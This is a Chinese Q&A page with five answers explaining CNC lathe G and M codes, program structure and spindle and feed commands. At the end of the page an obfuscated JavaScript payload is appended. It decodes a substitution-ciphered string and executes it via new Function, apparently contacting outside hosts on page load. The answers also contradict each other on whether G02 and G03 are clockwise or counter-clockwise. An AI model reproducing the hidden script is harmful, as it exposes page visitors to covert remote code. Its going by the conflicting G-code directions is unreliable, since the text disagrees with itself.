数控车床G指令和M代码详细解释

2024-11-07 03:58:25
推荐回答(5个)
回答1:

数控车床G指令详细解释:

数控车床M代码详细解释:

M00:程序暂停

M01:计划停止

M02:机床复位

M03:主轴正传

M04:主轴反转

M05:主轴停止

M06:换刀

M07:雾状切削液开

M08:液状切削液开

M09:切削液关

扩展资料:

1. G00与G01

G00运动轨迹有直线和折线两种,该指令只是用于点定位,不能用于切削加工。

G01按指定进给速度以直线运动方式运动到指令指定的目标点,一般用于切削加工。

2. 指定平面加工,一般用于铣床和加工中心

G17:X-Y平面,可省略,也可以是与X-Y平面相平行的平面

G18:X-Z平面或与之平行的平面,数控车床中只有X-Z平面,不用专门指定

G19:Y-Z平面或与之平行的平面

参考资料来源:百度百科-数控车床




回答2:

一、G代码

形式代码的功能在它被执行后会继续维持,而一般代码仅仅在收到该命令时起作用。定义移动的代码通常是模态代码,像直线、圆弧和循环代码。反之,像原点返回代码就叫一般代码。

FANUC数控G代码,常用G代码:
代码名称-功能简述
G00------快速定位
G01------直线插补
G02------顺时针方向圆弧插补
G03------逆时针方向圆弧插补
G04------定时暂停
G05------通过中间点圆弧插补
G07------Z 样条曲线插补
G08------进给加速
G09------进给减速
G20------子程序调用

二、M代码

辅助功能包括各种支持机床操作的功能,像主轴的启停、程序停止和切削液节门开关等等。

扩展资料

结构和代码

数控车程序可以分成程序开始、程序内容和程序结束三部分内容。

程序开始部分

主要定义程序号,调出零件加工坐标系、加工刀具,启动主轴、打开冷却液等方面的内容。

主轴最高转速限制定义G50 S2000,设置主轴的最高转速为2000RPM,对于数控车床来说,这是一个非常重要的指令。

坐标系定义如不作特殊指明,数控系统默认G54坐标系。

返回参考点指令G28 U0,为避免换刀过程中,发生刀架与工件或夹具之间的碰撞或干涉,一个有效的方法是机床先回到X轴方向的机床参考点,并离开主轴一段安全距离。

刀具定义G0 T0808 M8,自动调8号左偏刀8号刀补,开启冷却液。

主轴转速定义G96 S150 M4,恒定线速度S功能定义,S功能使数控车床的主轴转速指令功能,有两种表达方式,一种是以r/min或rpm作为计量单位。

程序内容部分

程序内容是整个程序的主要部分,由多个程序段组成。每个程序段由若干个字组成,每个字又由地址码和若干个数字组成。

常见的为G指令和M指令以及各个轴的坐标点组成的程序段,并增加了进给量的功能定义。

F功能是指进给速度的功能,数控车床进给速度有两种表达方式,一种是每转进给量,即用mm/r单位表示,主要用于车加工的进给。

另一种和数控铣床相同采用每分钟进给量,即用mm/min单位表示。主要用于车铣加工中心中铣加工的进给。

程序结尾部分

在程序结尾,需要刀架返回参考点或机床参考点,为下一次换刀的安全位置,同时进行主轴停止,关掉冷却液,程序选择停止或结束程序等动作。

回参考点指令G28U0为回X轴方向机床参考点,G0 Z300.0为回Z轴方向参考点。

参考资料来源:百度百科-数控机床

回答3:

一、G代码

形式代码的功能在它被执行后会继续维持,而一般代码仅仅在收到该命令时起作用。定义移动的代码通常是模态代码,像直线、圆弧和循环代码。反之,像原点返回代码就叫一般代码。每一个代码都归属其各自的代码组。在模态代码里,当前的代码会被加载的同组代码替换

二、M代码

辅助功能包括各种支持机床操作的功能,像主轴的启停、程序停止和切削液节门开关等等。

资料拓展:

数控车床是目前使用较为广泛的数控机床之一。它主要用于轴类零件或盘类零件的内外圆柱面、任意锥角的内外圆锥面、复杂回转内外曲面和圆柱、圆锥螺纹等切削加工,并能进行切槽、钻孔、扩孔、铰孔及镗孔等

数控机床是按照事先编制好的加工程序,自动地对被加工零件进行加工。我们把零件的加工工艺路线、工艺参数、刀具的运动轨迹、位移量、切削参数以及辅助功能,按照数控机床规定的指令代码及程序格式编写成加工程序单,再把这程序单中的内容记录在控制介质上,然后输入到数控机床的数控装置中,从而指挥机床加工零件。

百度百科:数控机床

回答4:

一、G代码

形式代码的功能在它被执行后会继续维持,而一般代码仅仅在收到该命令时起作用。定义移动的代码通常是模态代码,像直线、圆弧和循环代码。反之,像原点返回代码就叫一般代码。

FANUC数控G代码,常用G代码:

1、G00------快速定位

2、G01------直线插补

3、G02------顺时针方向圆弧插补

4、G03------逆时针方向圆弧插补

5、G04------定时暂停

6、G05------通过中间点圆弧插补

7、G07------Z 样条曲线插补

8、G08------进给加速

9、G09------进给减速

10、G20------子程序调用

二、M代码

辅助功能包括各种支持机床操作的功能,像主轴的启停、程序停止和切削液节门开关等等。

扩展资料

1、程序开始部分

主要定义程序号,调出零件加工坐标系、加工刀具,启动主轴、打开冷却液等方面的内容。

主轴最高转速限制定义G50 S2000,设置主轴的最高转速为2000RPM,对于数控车床来说,这是一个非常重要的指令。

坐标系定义如不作特殊指明,数控系统默认G54坐标系。

返回参考点指令G28 U0,为避免换刀过程中,发生刀架与工件或夹具之间的碰撞或干涉,一个有效的方法是机床先回到X轴方向的机床参考点,并离开主轴一段安全距离。

刀具定义G0 T0808 M8,自动调8号左偏刀8号刀补,开启冷却液。

主轴转速定义G96 S150 M4,恒定线速度S功能定义,S功能使数控车床的主轴转速指令功能,有两种表达方式,一种是以r/min或rpm作为计量单位。另一种是以m/min为计量单位。数控车床的S代码必须与G96或G97配合使用才能设置主轴转速或切削速度。

G97:转速指令,定义和设置每分钟的转速。

G96:恒线速度指令,使工件上任何位置上的切削速度都是一样的。

2、程序内容部分

程序内容是整个程序的主要部分,由多个程序段组成。每个程序段由若干个字组成,每个字又由地址码和若干个数字组成。常见的为G指令和M指令以及各个轴的坐标点组成的程序段,并增加了进给量的功能定义。

F功能是指进给速度的功能,数控车床进给速度有两种表达方式,一种是每转进给量,即用mm/r单位表示,主要用于车加工的进给。另一种和数控铣床相同采用每分钟进给量,即用mm/min单位表示。主要用于车铣加工中心中铣加工的进给。

3、功能详解

G00—快速定位

格式:G00 X(U)__Z(W)__

说明:(1)该指令使刀具按照点位控制方式快速移动到指定位置。移动过程中不得对工件进行加工。

(2)所有编程轴同时以参数所定义的速度移动,当某轴走完编程值便停止,而其他轴继续运动,

(3)不运动的坐标无须编程。

(4)G00可以写成G0

G01—直线插补

格式:G01 X(U)__Z(W)__F__(mm/min)

说明:(1)该指令使刀具按照直线插补方式移动到指定位置。移动速度是由F指令进给速度。所有的坐标都可以联动运行。

(2)G01也可以写成G1

例:G01 X40 Z20 F150

两轴联动从A点到B点

G02—逆圆插补

格式1:G02 X(u)____Z(w)____I____K____F_____

说明:(1)X、Z在G90时,圆弧终点坐标是相对编程零点的绝对坐标值。在G91时,圆弧终点是相对圆弧起点的增量值。无论G90,G91时,I和K均是圆弧终点的坐标值。

I是X方向值、K是Z方向值。圆心坐标在圆弧插补时不得省略,除非用其他格式编程。

(2)G02指令编程时,可以直接编过象限圆,整圆等。

注:过象限时,会自动进行间隙补偿,如果参数区末输入间隙补偿与机床实际反向间隙悬殊,都会在工件上产生明显的切痕。

参考资料来源:百度百科-数控车床(自动化机床)

回答5:

一、G代码

形式代码的功能在它被执行后会继续维持,而一般代码仅仅在收到该命令时起作用。定义移动的代码通常是模态代码,像直线、圆弧和循环代码。反之,像原点返回代码就叫一般代码。每一个代码都归属其各自的代码组。在模态代码里,当前的代码会被加载的同组代码替换

二、M代码

辅助功能包括各种支持机床操作的功能,像主轴的启停、程序停止和切削液节门开关等等。

功能详解

G00—快速定位格式:G00 X(U)__Z(W)__说明:

1、该指令使刀具按照点位控制方式快速移动到指定位置。移动过程中不得对工件进行加工。

2、所有编程轴同时以参数所定义的速度移动,当某轴走完编程值便停止,而其他轴继续运动。

3、不运动的坐标无须编程。

4、G00可以写成G0G01—直线插补格式:G01 X(U)__Z(W)__F__(mm/min)说明:(1)该指令使刀具按照直线插补方式移动到指定位置。移动速度是由F指令进给速度。所有的坐标都可以联动运行。

G01也可以写成G1例:G01 X40 Z20 F150两轴联动从A点到B点G02—逆圆插补格式1:G02 X(u)____Z(w)____I____K____F_____说明:

1、X、Z在G90时,圆弧终点坐标是相对编程零点的绝对坐标值。在G91时,圆弧终点是相对圆弧起点的增量值。无论G90,G91时,I和K均是圆弧终点的坐标值。I是X方向值、K是Z方向值。圆心坐标在圆弧插补时不得省略,除非用其他格式编程。

2、G02指令编程时,可以直接编过象限圆,整圆等。注:过象限时,会自动进行间隙补偿,如果参数区末输入间隙补偿与机床实际反向间隙悬殊,都会在工件上产生明显的切痕。

G03—顺圆插补说明:

除了圆弧旋转方向相反外,格式与G02指令相同。

G04—定时暂停格式:

G04__F__ 或G04 __K__说明:加工运动暂停,时间到后,继续加工。暂停时间由F后面的数据指定。单位是秒。范围是0.01秒到300秒。

G05—经过中间点圆弧插补格式:G05 X(u)____Z(w)____IX_____IZ_____F_____说明:

1、X,Z为终点坐标值,IX,IZ为中间点坐标值。

2、其它与G02/G03相似例: G05 X60 Z50 IX50 IZ60 F120G08/G09—进给加速/减速格式:G08说明:它们在程序段中独自占一行,在程序中运行到这一段时,进给速度将增加10%,如要增加20%则需要写成单独的两段。

G22(G220)—半径尺寸编程方式格式:G22说明:

在程序中独自占一行,则系统以半径方式运行,程序中下面的数值也是以半径为准的。

G23(G230)—直径尺寸编程方式格式:G23说明:

在程序中独自占一行,则系统以直径方式运行,程序中下面的数值也是以直径为准的。

G25—跳转加工格式:G25 LXXX说明:

当程序执行到这段程序时,就转移它指定的程序段。(XXX为程序段号)。

G26—循环加工格式:G26 LXXX QXX说明:

当程序执行到这段程序时,它指定的程序段开始到本 段作为一个循环体,循环次数由Q后面的数值决定。

G30—倍率注销格式:G30说明:

在程序中独自占一行,与G31配合使用,注销G31的功能。

G31—倍率定义格 式:G31 F_____G32—等螺距螺纹加工(英制)G33—等螺距螺纹加工(公制)格式:G32/G33 X(u)____Z(w)____F____说明:

1、X、Z为终点坐标值,F为螺距。

2、G33/G32只能加工单刀、单头螺纹。

3、X值的变化,能加工锥螺纹。

4、使用该指令时,主轴的转速不能太高,否则刀具磨损较大。

G50—设定工件坐标/设定主轴最高(低)转速格式:

G50 S____Q____说明:S为主轴最高转速,Q为主轴最低转速G54—设定工件坐标一格式:G54说明:在系统中可以有几个坐标系,G54对应于第一个坐标系,其原点位置数值在机床参数中设定。

G60—准确路径方式格式:

G60说明:在实际加工过程中,几个动作连在一起时,用准确路径编程时,那么在进行下一 段加工时,将会有个缓冲过程(意即减速)。

G64—连续路径方式格式:

G64说明:相对G60而言。主要用于粗加工。

G75—返回编程坐标零点格式:

G75 X Z说明:返回编程坐标零点。

G76—返回编程坐标起始点格式:

G76说明:返回到刀具开始加工的位置。

G81—外圆(内圆)固定循环格式:G81__X(U)__Z(W)__R__I__K__F__说明:

1、X,Z为终点坐标值,U,W为终点相对 于当前点的增量值 。

2、R为起点截面的要加工的直径。

3、I为粗车进给,K为精车进给,I、K为有符号数,并且两者的符号应相同。符号约定如下:由外向中心轴切削(车外圆 )为“—”,反这为“ ”。

4、不同的X,Z,R 决定外圆不同的开关,如:有锥度或没有度,正向锥度或反向锥度,左切削或右切削等。

5、F为切削加工的速度(mm/min)(6)加工结束后,刀具停止在终点上。

扩展资料

结构和代码

数控车程序可以分成程序开始、程序内容和程序结束三部分内容。

程序开始部分

主要定义程序号,调出零件加工坐标系、加工刀具,启动主轴、打开冷却液等方面的内容。

主轴最高转速限制定义G50 S2000,设置主轴的最高转速为2000RPM,对于数控车床来说,这是一个非常重要的指令。

坐标系定义如不作特殊指明,数控系统默认G54坐标系。

返回参考点指令G28 U0,为避免换刀过程中,发生刀架与工件或夹具之间的碰撞或干涉,一个有效的方法是机床先回到X轴方向的机床参考点,并离开主轴一段安全距离。

刀具定义G0 T0808 M8,自动调8号左偏刀8号刀补,开启冷却液。

主轴转速定义G96 S150 M4,恒定线速度S功能定义,S功能使数控车床的主轴转速指令功能,有两种表达方式,一种是以r/min或rpm作为计量单位。另一种是以m/min为计量单位。数控车床的S代码必须与G96或G97配合使用才能设置主轴转速或切削速度。

G97:转速指令,定义和设置每分钟的转速。

G96:恒线速度指令,使工件上任何位置上的切削速度都是一样的。

程序内容部分

程序内容是整个程序的主要部分,由多个程序段组成。每个程序段由若干个字组成,每个字又由地址码和若干个数字组成。常见的为G指令和M指令以及各个轴的坐标点组成的程序段,并增加了进给量的功能定义。

F功能是指进给速度的功能,数控车床进给速度有两种表达方式,一种是每转进给量,即用mm/r单位表示,主要用于车加工的进给。另一种和数控铣床相同采用每分钟进给量,即用mm/min单位表示。主要用于车铣加工中心中铣加工的进给。

程序结尾部分

在程序结尾,需要刀架返回参考点或机床参考点,为下一次换刀的安全位置,同时进行主轴停止,关掉冷却液,程序选择停止或结束程序等动作。

回参考点指令G28U0为回X轴方向机床参考点,G0 Z300.0为回Z轴方向参考点。

停止指令M01为选择停止指令,只有当设备的选择停止开关打开时才有效;M30为程序结束指令,执行时,冷却液、进给、主轴全部停止。数控程序和数控设备复位并回到加工前原始状态,为下一次程序运行和数控加工重新开始做准备。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();